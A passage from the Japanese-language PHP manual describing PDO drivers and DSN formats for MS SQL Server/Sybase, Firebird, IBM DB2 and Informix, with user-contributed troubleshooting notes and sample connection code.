            [FKTABLE_NAME] => game
            [FKCOLUMN_NAME] => event_code
            [KEY_SEQ] => 1
            [UPDATE_RULE] => 1
            [DELETE_RULE] => 1
            [FK_NAME] => fk_game_event_code
            [PK_NAME] => pk_event_code
        )

)

User Contributed Notes

There are no user contributed notes for this page.


Microsoft SQL Server および Sybase 関数 (PDO_DBLIB)

はじめに

PDO_DBLIB は PHP Data Objects (PDO) インターフェイスを実装したドライバで、 PHP から Microsoft SQL Server および Sybase データベースに対して FreeTDS ライブラリを使用したアクセスが可能となります。

この拡張モジュールは、Windows 版では PHP 5.3 以降使うことができません。

Windows では、Microsoft が » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx で公開しているもうひとつの MS SQL 用ドライバである SqlSrv を使わなければなりません。

SqlSrv を使うことができない場合は、 PDO_ODBC ドライバを使えば Microsoft SQL Server や Sybase データベースに接続することができます。 Windows ネイティブの DB-LIB は既に古くなっており、 スレッドセーフでもなく Microsoft ももうサポートしていません。

目次

  • PDO_DBLIB DSN — Microsoft SQL Server および Sybase データベースに接続する

User Contributed Notes

Fabian G 22-Aug-2018 09:23
Instead of using Mssql or DBLib extension you should use the official extensions from Microsoft from here: https://github.com/Microsoft/msphpsql
angrom 05-May-2018 06:03
PDO dblib (pdo_dblib.so) was installed in ubuntu 16.04 with php 7.2
apt-get install php7.2-sybase
*You need FreeTDS driver
mat at typomania dot co dot uk 18-Apr-2018 01:44
Have lost over a day trying to work out why a connection to an sql server was failing, I thought I'd share the following:

This fails:
new PDO ( "dblib:dbname=[dbname]; host=[host];", [user], [password]);

This works:
new PDO ( "dblib:dbname = [dbname]; host=[host];", [user], [password]);

It's always the little things that are the hardest to find. In this case the missing spaces were triggering the error "SQLSTATE[HY000] General SQL Server error: Check messages from the SQL Server (severity 16)". The spaces don't cause problems when using the same syntax to connect to mysql, so I'm guessing it's a Microsoft thing. I only I could bill them for the time I've wasted...
fleduc dot perso at gmail dot com 18-Sep-2017 01:29
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
Vic L 23-Feb-2017 05:59
FYI: PDO dblib module (pdo_dblib.so) was installed when I installed php-mssql in CentOS 7.  I thought php-mssql would just include the soon to be deprecated mssql PHP functions but it also contains the PDO connector.  After installing this I'm able to connect to our MSSQL 2014 DB via PDO!
Johankasselman at live dot com 02-Oct-2015 01:32
Hi All, I'wrote a class to connect to MSSQL/Azure databases with Transaction support.

Hope this can help anyone!

<?php
/**
*    @author     Johan Kasselman <johankasselman@live.com>
*    @since         2015-09-28    V1
*
*/

class pdo_dblib_mssql{

    private $db;
       private $cTransID;
       private $childTrans = array();

    public function __construct($hostname, $port, $dbname, $username, $pwd){

        $this->hostname = $hostname;
        $this->port = $port;
        $this->dbname = $dbname;
        $this->username = $username;
        $this->pwd = $pwd;

        $this->connect();

    }

    public function beginTransaction(){

        $cAlphanum = "AaBbCc0Dd1EeF2fG3gH4hI5iJ6jK7kLlM8mN9nOoPpQqRrSsTtUuVvWwXxYyZz";
        $this->cTransID = "T".substr(str_shuffle($cAlphanum), 0, 7);

        array_unshift($this->childTrans, $this->cTransID);

        $stmt = $this->db->prepare("BEGIN TRAN [$this->cTransID];");
        return $stmt->execute();

    }

    public function rollBack(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("ROLLBACK TRAN [$cTmp];");
            $stmt->execute();
        }

        return $stmt;
    }

    public function commit(){

        while(count($this->childTrans) > 0){
            $cTmp = array_shift($this->childTrans);
            $stmt = $this->db->prepare("COMMIT TRAN [$cTmp];");
            $stmt->execute();
        }

        return  $stmt;
    }

    public function close(){
        $this->db = null;
    }

    public function connect(){

        try {
            $this->db = new PDO ("dblib:host=$this->hostname:$this->port;dbname=$this->dbname", "$this->username", "$this->pwd");

        } catch (PDOException $e) {
            $this->logsys .= "Failed to get DB handle: " . $e->getMessage() . "\n";
        }

    }

}

?>
Gavin H 18-Sep-2015 11:28
When using dblib to connect to azure sql in linux, the connecting user must have at least access rights to the master database (no read/write necessary), as you cannot change the default database on a user in azure like you can with sql server. It would appear that even though you specify a database in the DSN, freetds is making a connection to the default database (master), then changing to the specified database. jTDS (used by tools like DBeaver) build a connection string that specifies the connection database, and thus doesn't need access to master. I also had to specify the server name in the user (e.g. - "username@servername" in PHP, though not in tsql (which also uses the freetds library).
ian at helastel dot com 17-Jul-2012 03:27
For people with issues inserting UTF-8 / Unicode data using DBLIB, you can't do this natively - but you can workaround the problem by converting the data first.

e.g. inserting into a nvarchar column with collation Latin1_General_CI_AS

...
$res = $db->prepare($sql);
$res->bindValue(':value', iconv('UTF-8', 'ISO8859-1', $value);
...
TomF 18-Oct-2011 08:18
Note that you must connect with an MS SQL user - FreeTDS does not seem to like active directory linked users.
meltir at meltir dot com 21-Jan-2011 08:48
Keep in mind the limitation sql server imposes on clients using the connection methods that dblib uses:
no ntext column values can be transmitted, you will get an insightfull '4004' error when trying.

The full text of the error is:
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.

For more info on errors that mssql might throw at you, please see:
http://msdn.microsoft.com/en-us/library/aa937595%28v=SQL.80%29.aspx
xwisdom at gmail dot com 09-Dec-2010 03:42
Here's how to call a stored procedure from MS SQL Server:

<?php
$return = null;
$param1 = 'value1';
$param2 = 'value2';

$ds = $db->prepare('{? = call ?,?}');
$ds->bindParam(1, $return, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(2, $param1, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);
$ds->bindParam(3, $param2, PDO::PARAM_INT | PDO::PARAM_INPUT_OUTPUT,4);

$ds->execute();
?>
twilson at tridiumtech dot com 20-Oct-2009 06:05
Hopefully this will help someone who is having problems connecting to MSSQL. I was having a heck of a time trying to get my dev server to connect to a remote MSSQL 2005 box.

When using PDO like so:
<?php
$mssql = new PDO('dblib:host=<host>;dbname=<dbname>','<user>','<password>');
?>

I was receiving the message:

Adaptive Server is unavailable or does not exist

And mssql_connect() simply told me "Could not connect to server"

I tried everything, different configuration options for FreeTDS/PHP, different versions, etc. But the answer was one line in php.ini:

mssql.secure_connection = Off

This line, which defaults to Off, needs to be ON if you are using NT authentication:

mssql.secure_connection = On

Here is my build:

FreeTDS-0.82 configured like:
./configure --with-tdsver=8.0 --enable-msdblib --with-gnu-ld

PHP 5.2.11 configured like:
./configure --with-mssql=/usr/local --with-pdo-dblib=/usr/local [other options]

Running on Apache/2.2.13 (Unix / Linux)

Feel free to email me if you need help as I've spent 20+ hours reading and fiddling with this issue, so I'm very familiar with it now.

Peace,
Tom
dpassey at everettsd dot org 29-May-2009 01:35
For PDO MSSQL connection issues, ensure that you have the updated version of ntwdblib.dll (currently 8.00.194 as of this post).  Overwrite the existing (old) file or place it in the Windows system32 folder.  The version that ships with PHP 5.2.X does not work.  This is a well known issue apparently, but I had a really hard time finding information on this issue until I was able to lock in a file name.  I hope that this helps someone.
tris+php at tfconsulting dot com dot au 24-Mar-2009 07:03
If you are struggling with
'Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.'
when trying to do 'SELECT *' queries:

Obviously the best way to deal with this is change your unicode fields to the ascii equivalent (ntext > text), but if that is not an option here is an implementation based on the info at http://www.rochester.edu/IT/web/WebHelp/mssql/limitations.html which checks the data types of the fields and casts them as neccesary.

<?php
class mssql {
    private static $statement=null;

    private static $typemap=array(
        'ntext' => 'text',
        'bigint' => 'real',
        'decimal' => 'real',
        'float' => 'real',
        'numeric' => 'real'
    );

    public static function all_fields($table) {
        if(self::$statement==null) {
            $db=pdodb::instance(); // or however you get your global instance
            $query="SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=?";
            self::$statement=$db->prepare($query);
        }

        self::$statement->execute(array($table));

        $fields=array();
        $need_cast=false;
        while($field=self::$statement->fetch()) {
            $field_quoted=self::quote_field($field['COLUMN_NAME']);
            if(isset(self::$typemap[$field['DATA_TYPE']])) {
                $fields[]='CAST('.$field_quoted.' AS '.self::$typemap[$field['DATA_TYPE']].') AS '.$field_quoted;
                $need_cast=true;
            } else $fields[]=$field_quoted;
        }
        return ($need_cast) ? implode(', ',$fields) : '*';
    }

    public static function quote_field($field) {
        $pos=strpos($field,' ');
        return ($pos===false) ? $field : '['.$field.']';
    }
}

$db=pdodb:instance(); // singleton PDO instance
$stmt=$db->prepare('SELECT '.mssql::all_fields('My_Table').' FROM My_Table');
$stmt->execute();
...
?>

Essentially mssql::all_fields($table) returns '*' if it can, otherwise the fields listed with the relevant casts in place e.g. 'NoteIdent, Owner, CAST(Note AS text) AS Note'
Bryan 14-Jan-2009 03:21
To enable the mssql PDO driver under windows you need to:

1) uncomment the "extension=php_pdo_mssql.dll" line from php.ini
2) copy ntwdblib.dll into the directory where you have installed php
Steve H 31-May-2006 09:24
To connect to SQL Server 2005 Express on Windows, do it like this:

$pdo = new PDO ('mssql:host=localhost,1433;dbname=[redacted]', '[redacted]', '[redacted]');

localhost
localhost\SQLEXPRESS
localhost\1433
localhost:1433

will not work on Windows.

localhost,1433

does work.

YMMV on other OS's; try each.

Also make sure your TCP/IP Properties -> IP Addresses are correct under SQL Server Configuration Manager.
support at converters dot ru 25-Jan-2006 05:48
If You work with MSSQL Server 7.0/2000/... under Windows and use non latin Encoding then better To use PDO_MSSQL until PDO_ODBC bugs will be fixed (MSSQL ext far more stable and usabe for PHP versions <=5.1.2).
If your MSSQL connection use strings in OEM encoding (cp866 for russian charset)

1. Run Microsoft Server/Client Network Utility on work PC and UNCHECK "DBLibrary options"/"Automatic ANSI to OEM conversion"

2. Restart Web server if needed.
graham1 dot simpson at hsbcib dot com 08-Sep-2005 12:19
There is currently little sybase related PDO docs out there. The ones that I found often mention a spec for a dsn that is invalid. Here's how I am currently connecting to sybase ASE:

1. Compile up freetds http://www.freetds.org on top of open client;
2. Add the PDO and PD_DBLIB modules to php 5 as per the documentation; Note: I'm currently using the PDO-beta and PDO_DBLIB-beta;
3. Check mods installed ok using "pear list" and "php -m";

The documentation often says to use "sybase:" as your DSN, this doesn't work. Use "dblib:" instead. Here's an example:

<?php
  try {
    $hostname = "myhost";
    $port = 10060;
    $dbname = "tempdb";
    $username = "dbuser";
    $pw = "password";
    $dbh = new PDO ("dblib:host=$hostname:$port;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
  $stmt = $dbh->prepare("select name from master..sysdatabases where name = db_name()");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
  unset($dbh); unset($stmt);
?>

Hope this helps.


Microsoft SQL Server および Sybase データベースに接続する

  • ≪ MS SQL Server (PDO)
  • Firebird (PDO) ≫
  • PHP Manual
  • MS SQL Server (PDO)
  • Microsoft SQL Server および Sybase データベースに接続する

PDO_DBLIB DSN

(PECL PDO_DBLIB >= 0.9.0)

PDO_DBLIB DSN — Microsoft SQL Server および Sybase データベースに接続する

説明

PDO_DBLIB データソース名 (DSN) は以下の要素で構成されます。

DSN 接頭辞

PDO_DBLIB が Sybase ct-lib ライブラリに対してリンクされている場合は DSN 接頭辞は sybase: です。 Microsoft SQL Server ライブラリに対してリンクされている場合は mssql:、そして FreeTDS ライブラリに対してリンクされている場合は dblib: となります。

host

データベースサーバーが存在するホスト名を指定します。 デフォルトは 127.0.0.1 です。

dbname

データベース名を指定します。

charset

クライアントの文字セットを指定します。

appname

アプリケーション名を指定します (sysprocesses で使用します)。 デフォルトは "PHP Generic DB-lib" あるいは "PHP freetds" です。

secure

現在は未使用です。

例

例1 PDO_DBLIB DSN の例

以下の例は、Microsoft SQL Server および Sybase データベースに接続するための PDO_DBLIB DSN を表します。

mssql:host=localhost;dbname=testdb
sybase:host=localhost;dbname=testdb
dblib:host=localhost;dbname=testdb

User Contributed Notes

Anonymous 09-Feb-2018 10:28
Blank (not null) columns retrieved from SQL Server 2014 were returning a single space.

Setting "tds version = 7.0" in /etc/freetds/freetds.conf fixed the issue.
Anonymous 14-Jan-2016 04:57
Instead of specifying tds version and client charset in freetds.conf, you may pass it as a parameter.
<?php $dsn = 'dblib:version=7.0;CHARSET=shift-jis;host=domain.example.com;dbname=example;'; ?>
michal at durys dot pl 10-May-2013 08:22
If you're using FreeTDS driver and you want to use "charset" parameter then you may have to edit freetds.conf (e.g. /etc/freetds/freetds.conf) and force connection using at least version 7.0 of the protocol.

tds version = 7.0

Charset parameter accepts all encodings supported by iconv (execute iconv --list to show all encodings).
aero2sing at hotmail dot com 21-Feb-2013 05:26
Be careful if you are using dblib with prepared statement, as it will crash if first execution didn't return anything.

referring to https://bugs.php.net/bug.php?id=40639
ulisse at atc dot bologna dot it 11-Mar-2010 05:38
on Linux ppc64 / PHP 5.1.2 / freetds-0.64 works well this way:

<?php
// ...
$dbh = new PDO("dblib:host=$hostdb;dbname=$dbname", $usr, $psw);
// ...
?>
slach at 74mail dot ru 04-Feb-2009 02:11
when you connect to non standart 1433 port

for win32 use DSN like 'mssql:host=hostname,port;dbname=database'

for FreeTDS and DB-Lib use DSN like  'mssql:host=hostname:port;dbname=database'


Firebird 関数 (PDO_FIREBIRD)

はじめに

PDO_FIREBIRD は、PHP から Firebird データベースへのアクセスを可能にするための PHP Data Objects (PDO) インターフェイス を実装したドライバです。

インストール手順

--with-pdo-firebird[=DIR] で PDO Firebird 拡張モジュールをインストールします。オプションの [=DIR] には、Firebird の基底インストールディレクトリを指定することができます。

$ ./configure --with-pdo-firebird

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

PDO::FB_ATTR_DATE_FORMAT (int)

PHP 5.3.0 以降で使用可能。

日付フォーマットを設定します。

PDO::FB_ATTR_TIME_FORMAT (int)

時刻フォーマットを設定します。

PHP 5.3.0 以降で使用可能。

PDO::FB_ATTR_TIMESTAMP_FORMAT (int)

タイムスタンプフォーマットを設定します。

PHP 5.3.0 以降で使用可能。

目次

  • PDO_FIREBIRD DSN — Firebird データベースに接続する

User Contributed Notes

Anonymous 25-Nov-2018 12:32
From php 7.1  i am using PDO like this:

$host = 'firebird:dbname=x.x.x.x:C:\baza.eu3';
$password = 'xxx';
$username = 'SYSDBA';

$firebird = new \PDO($host, $username, $password, [\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION]);
trumped at mail dot ru 09-Feb-2016 01:33
You need to set:
    setAttribute(PDO::FB_ATTR_TIMESTAMP_FORMAT, '%s')
for timestamp values
sebastien dot caplet at l-seguin dot fr 16-Oct-2015 08:13
I have added fbclient.dll in windows/system32/
Anonymous 01-Oct-2012 12:40
After two days of trouble with no visibile issues, when rebooting the system two popups come up:

PHP Startup: Unable to load dynamic library
'c:/wamp/bin/php/php.5.3.13/ext/php_interbase.dll' - %1 non e un'applicazione di Win32 valida.

PHP Startup: Unable to load dynamic library
'c:/wamp/bin/php/php.5.3.13/ext/php_pdo_firebird.dll' - %1 non e un'applicazione di Win32 valida.

I've just re-installed wampserver (http://www.wampserver.com/en/) and all seems run well.

To see if your Firebird PDO driver runs well:

<?php
 foreach(PDO::getAvailableDrivers() as $driver) {
  echo $driver.'<br />';
}?>
ritsaert at continuit dot nl 18-Dec-2005 06:43
The connection string for a firebird PDO connection is different than described above. It is something like:

$DB = new PDO("firebird:dbname=T:\\Klimreg.GDB", "SYSDBA", "masterkey");

after dbname= the default connection string for Interbase and Firebird databases is used as presented to either gds32.dll or fbclient.dll.


Firebird データベースに接続する

  • ≪ Firebird (PDO)
  • IBM (PDO) ≫
  • PHP Manual
  • Firebird (PDO)
  • Firebird データベースに接続する

PDO_FIREBIRD DSN

(PECL PDO_FIREBIRD >= 0.1.0)

PDO_FIREBIRD DSN — Firebird データベースに接続する

説明

PDO_FIREBIRD データソース名 (DSN) は以下の要素で構成されます。

DSN 接頭辞

DSN 接頭辞は firebird: です。

dbname

データベース名を指定します。

charset

文字セット。

role

SQL のロール名。

dialect

データベースの方言。1 または 3 の値を取ります。 指定されなかった場合は、デフォルトの 3 が使われます。 PHP 7.4.0 以降で利用可能です。

例

例1 PDO_FIREBIRD DSN でのパス指定の例

以下の例は、Firebird データベースに接続するための PDO_FIREBIRD DSN を表します。

firebird:dbname=/path/to/DATABASE.FDB

例2 PDO_FIREBIRD DSN でのポートとパス指定の例

以下の例は、ポートとパスを指定して Firebird データベースに接続するための PDO_FIREBIRD DSN を表します。

firebird:dbname=hostname/port:/path/to/DATABASE.FDB

例3 PDO_FIREBIRD DSN で Debian システムのローカルホストと employee.fdb へのパスを使う例

以下の例は、ローカルホストの Firebird データベース employee.fdb に接続するための PDO_FIREBIRD DSN を表します。

firebird:dbname=localhost:/var/lib/firebird/2.5/data/employee.fdb

例4 方言が 1 のデータベースに接続するための PDO_FIREBIRD の DSN

次の例は、方言 1 を使って作られた Firebird データベース test.fdb に対して 接続するための PDO_FIREBIRD DSN を示しています。 これは、PHP 7.4.0 以降でのみ利用可能です。

firebird:dbname=localhost:/var/lib/firebird/2.5/data/test.fdb;CHARSET=shift-jis;dialect=1

User Contributed Notes

jaune dot loke at gmail dot com 19-Feb-2020 02:23
This is my example :

firebird:dbname=127.0.0.1:D:/PATH/DBNAME.FDB;charset:ISO8859_1,SYSDBA,masterkey


IBM 関数 (PDO_IBM)

はじめに

PDO_IBM は PHP Data Objects (PDO) インターフェイスを実装したドライバで、 PHP から IBM のデータベースにアクセスできるようになります。

インストール手順

PDO_IBM 拡張モジュールをビルドするには、DB2 クライアントの v9.1 以降がシステムにインストールされている必要があります。 DB2 クライアントは、IBM の » Application Development Site からダウンロードできます。

注意: 注意

DB2 クライアント v9.1 以降では、DB2 for Linux、 UNIX および Windows の v8、v9.1 サーバーへの直接接続がサポートされています。

DB2 クライアント v9.1 は、DB2 UDB for i5 および DB2 UDB for z/OS servers への接続もサポートしています。この接続には、 別途 » DB2 Connect product を購入します。

PDO_IBM は » PECL 拡張モジュールです。 PECL 拡張モジュールのインストール の手順に従って PDO_IBM 拡張モジュールをインストールします。configure コマンドを発行し、 DB2 クライアントのヘッダファイルやライブラリの位置をこのように指定します。

bash$ ./configure --with-pdo-ibm=/path/to/sqllib[,shared]
configure コマンドは、デフォルトでは環境変数 DB2DIR の値を使用します。

目次

  • PDO_IBM DSN — IBM データベースへの接続

User Contributed Notes

There are no user contributed notes for this page.


IBM データベースへの接続

  • ≪ IBM (PDO)
  • Informix (PDO) ≫
  • PHP Manual
  • IBM (PDO)
  • IBM データベースへの接続

PDO_IBM DSN

(PECL PDO_IBM >= 0.9.0)

PDO_IBM DSN — IBM データベースへの接続

説明

PDO_IBM のデータソース名 (DSN) は、IBM CLI DSN にもとづいています。 PDO_IBM DSN は、主に以下の部分から構成されます。

DSN プレフィックス

DSN プレフィックスは ibm: です。

DSN

DSN は、次のうちのいずれかです。

  • a) db2cli.ini あるいは odbc.ini を使用したデータソースの設定

  • b) カタログされたデータベース名、つまり、 DB2 クライアントにおけるデータベースエイリアス

  • c) 完全な接続文字列。次のような形式になります。 DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password; 各パラメータは次の内容を表します。

    database

    データベースの名前。

    hostname

    データベースサーバーのホスト名あるいは IP アドレス。

    port

    データベースが要求を待ち受けている TCP/IP ポート。

    username

    データベースに接続する際のユーザー名。

    password

    データベースに接続する際のパスワード。

例

例1 db2cli.ini を使用した PDO_IBM DSN の例

この例は、PDO_IBM DSN で DB2 データベースに接続する方法を示すものです。 このデータベースは、DB2_9 という名前で db2cli.ini にカタログされています。

$db = new PDO("ibm:DSN=DB2_9", "", "");

[DB2_9]
Database=testdb
Protocol=tcpip
Hostname=11.22.33.444
Servicename=56789

例2 接続文字列を使用した PDO_IBM DSN の例

この例は、PDO_IBM DSN で DB2 データベースに接続する方法を示すものです。 このデータベースの名前は testdb で、DB2 CLI の接続文字列構文を使用します。

$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
  "HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

User Contributed Notes

franck dot thomas at consult-ix dot fr 01-Aug-2019 11:14
The connection string is wrong for the example :
$db = new PDO("ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;", "testuser", "tespass");

You get the PDO Exception with the error code -1329.

You have to write :
$db = new PDO(
"ibm:DRIVER={IBM DB2 ODBC DRIVER};DATABASE=testdb;" .
"HOSTNAME=11.22.33.444;PORT=56789;PROTOCOL=TCPIP;UID=testuser;PWD=testpass",
"",
"");


Informix 関数 (PDO_INFORMIX)

はじめに

PDO_INFORMIX は、PHP から Informix データベースへのアクセスを可能にするための PHP Data Objects (PDO) インターフェイス を実装したドライバです。

インストール手順

PDO_INFORMIX 拡張モジュールをビルドするには、PHP と同じシステムに Informix Client SDK 2.81 UC1 以降がインストールされている必要があります。 Informix Client SDK は、» IBM Informix Support Site で入手できます。

PDO_INFORMIX は » PECL 拡張モジュールです。 そのため、PDO_INFORMIX 拡張モジュールをインストールするには PECL 拡張モジュールのインストール の手順に従います。 Informix Client SDK ヘッダファイルおよびライブラリの場所を指定するため、 次のように configure コマンドを実行します。

   bash$ ./configure --with-pdo-informix=/path/to/SDK[,shared]
configure コマンドのデフォルトは、 環境変数 INFORMIXDIR の値となります。

スクロール可能なカーソル

PDO_INFORMIX は、スクロール可能なカーソルをサポートしています。 しかし、デフォルトでは有効になっていません。 スクロール可能なカーソルのサポートを有効にするには、 odbc.ini での対応する ODBC 接続設定で ENABLESCROLLABLECURSORS=1 を設定するか、 DSN 接続文字列に EnableScrollableCursors=1 句を指定しなければなりません。

目次

  • PDO_INFORMIX DSN — Informix データベースに接続する

User Contributed Notes

evandrosimenes at gmail dot com 02-May-2018 04:49
Anyone gets working pdo informix with php 7 ?
user at nowhere dot com 14-Jun-2017 03:43
In case that you  loaded the extension, in solaris systems, and you are getting something similar to this:
PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/php547/lib/php/extensions/no-debug-non-zts-20100525/pdo_informix.so' - ld.so.1: php: fatal: libifgls.so: DF_1_NOOPEN tagged object may not be dlopen()'ed in Unknown on line 0

In this case set the following Environment variables:
export INFORMIXDIR=/path/to/Informix/CSDK/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$INFORMIXDIR/lib:$INFORMIXDIR/lib/cli:$INFORMIXDIR/lib/esql

http://members.iiug.org/forums/oat/index.cgi/noframes/read/196
rdutan at aplext dot com 07-Mar-2012 11:43
tip: in fedora 16 you must set INFORMIXDIR  in /etc/sysconfig/httpd
example:
INFORMIXDIR=/home/informix
export INFORMIXDIR
dan at mutagenix dot org 26-Oct-2009 09:22
I've just built PHP 5.2.11 with pdo_informix support on Slackware 13.0.  I had to use the following options in order to disable pdo from being compiled in (notice the difference in the --without-pdo-sqlite option from previous post):

--disable-pdo option --without-pdo-sqlite option

I also could not use the --with-sigchild option which caused problems with phpize.

This fixed the informix -11001 error that I was getting.  I was also getting an informix -23101 error (something about locale mismatches), but it was because I was not completely removing the compiled in pdo support.

I then had to;

rm -rf /usr/lib/php/.channels
pear update-channels
pecl install --alldeps pdo_informix pdo_mysql pdo_sqlite.

There were other, smaller issues, but that is the lion's share.
cwgraven at gmail dot com 15-Jan-2009 09:11
I noticed that SQLite is installed by php by default...oh and it happens to use PDO. So dont forget to use --without-sqlite.

My successful config looks like this:

./configure --with-mysql --with-apxs=/usr/local/apache/bin/apxs --with-curl --with-xsl --disable-pdo --without-sqlite
dbeecher at tekops dot com 21-Jul-2008 07:21
Solved the issue with PHP 5.2.4 and others.

The embedded PDO in php since 5.1+ is INCOMPATIBLE with the latest PDO_MYSQL and PDO_INFORMIX, etc.  I just spent 2 days working on this.  This solution works on numerous versions of Linux I've tried as well as SunOS and HPUX.

The basic issue, getting this message when running PHP with PDO and trying
to get PDO_INFORMIX working, but having a version conflict:

"PHP Fatal error: PDO: driver informix requires PDO API version 20060409;
this is PDO version 20060511 in Unknown on line 0"

The "embedded" PDO that is within PHP since version 5.1 CONFLICTS with the
PDO the  PEAR/PECL modules are expecting.

1) Rebuild PHP with no pdo (--disable-pdo) (and you can't have
  any stuff like --with-mysql-pdo, either)
2) Then use PEAR/PECL to install PDO:  pear install pdo
3) then use PEAR/PECL to install PDO_INFORMIX:
              pear install --alldeps pdo_informix
4) make sure your php.ini extensions_dir points to the directory
   where these are placed
5) then add these references to php.ini:
    extensions=pdo.so
    extensions=pdo_informix.so
    extensions=pdo_mysql.so (etc.)

6) run php -v now and you should not see any errors.

7) run "pear list" and "pecl list" to see the installed modules

8) run php -i |egrep "pdo|PDO" to see:

php -i |egrep "pdo|PDO"
Configure Command =>  './configure'  '--disable-pdo'
'--with-apxs2=/usr/local/apache2/bin/apxs' '--with-openssl=/usr'
'--enable-force-cgi-redirect' '--with-gd' '--with-jpeg-dir=/usr/lib'
'--with-zlib' '--enable-bcmath' '--enable-mbstring=all' '--with-curl'
PDO
PDO support => enabled
PDO drivers => mysql, informix
pdo_informix
pdo_informix support => enabled
pdo_mysql
PDO Driver for MySQL, client library version => 5.0.51a

I would have tried the embedded PDO and then also --with-informix-pdo=shared but as an earlier post here showed, the --with-informix... is unknown.  Please correct my mistake if I am mistyping it.

GOOD LUCK!
David
alan dot acosta at gps dot com dot co 19-Sep-2007 04:01
Take care, with php-5.2.4 --with-pdo-informix=shared,/home/informix
 doesn't work, just says:
Notice: Following unknown configure options were used:
--with-pdo-informix=shared,/home/informix


Informix データベースに接続する

  • ≪ Informix (PDO)
  • MySQL (PDO) ≫
  • PHP Manual
  • Informix (PDO)
  • Informix データベースに接続する

PDO_INFORMIX DSN

(PECL PDO_INFORMIX >= 0.1.0)

PDO_INFORMIX DSN — Informix データベースに接続する

説明

PDO_INFORMIX データソース名 (DSN) は、Informix ODBC DSN 文字列を基にしています。 Informix ODBC DSN の設定についての詳細は、 » Informix Dynamic Server Information Center にあります。PDO_INFORMIX DSN の主要な部分は以下のようになります。

DSN 接頭辞

DSN 接頭辞は informix: です。

DSN

DSN は、odbc.ini を使用したデータソース設定、あるいは完全な » 接続文字列 のいずれかです。

例

例1 odbc.ini を使用した PDO_INFORMIX DSN の例

以下の例は、odbc.ini で Infdrv33 として登録されている Informix データベースに接続するための PDO_INFORMIX DSN を表します。

$db = new PDO("informix:DSN=Infdrv33", "", "");

[ODBC Data Sources]
Infdrv33=INFORMIX 3.3 32-BIT

[Infdrv33]
Driver=/opt/informix/csdk_2.81.UC1G2/lib/cli/iclis09b.so
Description=INFORMIX 3.3 32-BIT
Database=common_db
LogonID=testuser
pwd=testpass
Servername=ids_server
DB_LOCALE=en_US.819
OPTIMIZEAUTOCOMMIT=1
ENABLESCROLLABLECURSORS=1

例2 接続文字列を使用した PDO_INFORMIX DSN の例

以下の例は、common_db という名前の Informix データベースに接続文字列を使用して接続するための PDO_INFORMIX DSN を表します。

$db = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

User Contributed Notes

andres at wookplay dot com 27-Dec-2017 08:38
Example #2 PDO_INFORMIX DSN example using a connection string

To work properly, the DSN connection string must not have line breaks.

<?php

$conexion = new PDO("informix:host=host.domain.com; service=9800;
    database=common_db; server=ids_server; protocol=onsoctcp;
    EnableScrollableCursors=1", "testuser", "tespass");

    $sql    = "SELECT * FROM test";
    $prep   = $conexion->prepare($sql);
    $prep->execute();
    $result = $prep->fetchAll(PDO::FETCH_ASSOC);

    var_dump($result);

?>
mchennaoui at cpm dot co dot ma 06-Nov-2017 03:40
Bonjour

J'ai applique la procedure compile, installe et charger le php_pdo_inkformix et j'ai utilise la chaine de connexion suivant :

$bd = new PDO("informix:host=srvinf; service=1526;database=base; server=ol_test; protocol=onsoctcp;EnableScrollableCursors=1", "test", "test");

apres execution du fichier connexion.php j'ai eu l'erreur :

- Fatal error: Uncaught exception 'PDOException' with message 'could not find driver' in C:\wamp\www\Tests\informix.php on line 5

-PDOException: could not find driver in C:\wamp\www\Tests\informix.php on line 5

Merci de m'assister svp.
phanx at phanx dot com 07-Jan-2010 01:56
When connect to the Dynamic Informix Server, got this error log in apache's error log file:

[Wed Dec 30 12:44:11 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=HY000, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Unspecified System Error =  -11005.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should export correct INFORMIXDIR enviroment variable for root user and restart the web server.

and another error:

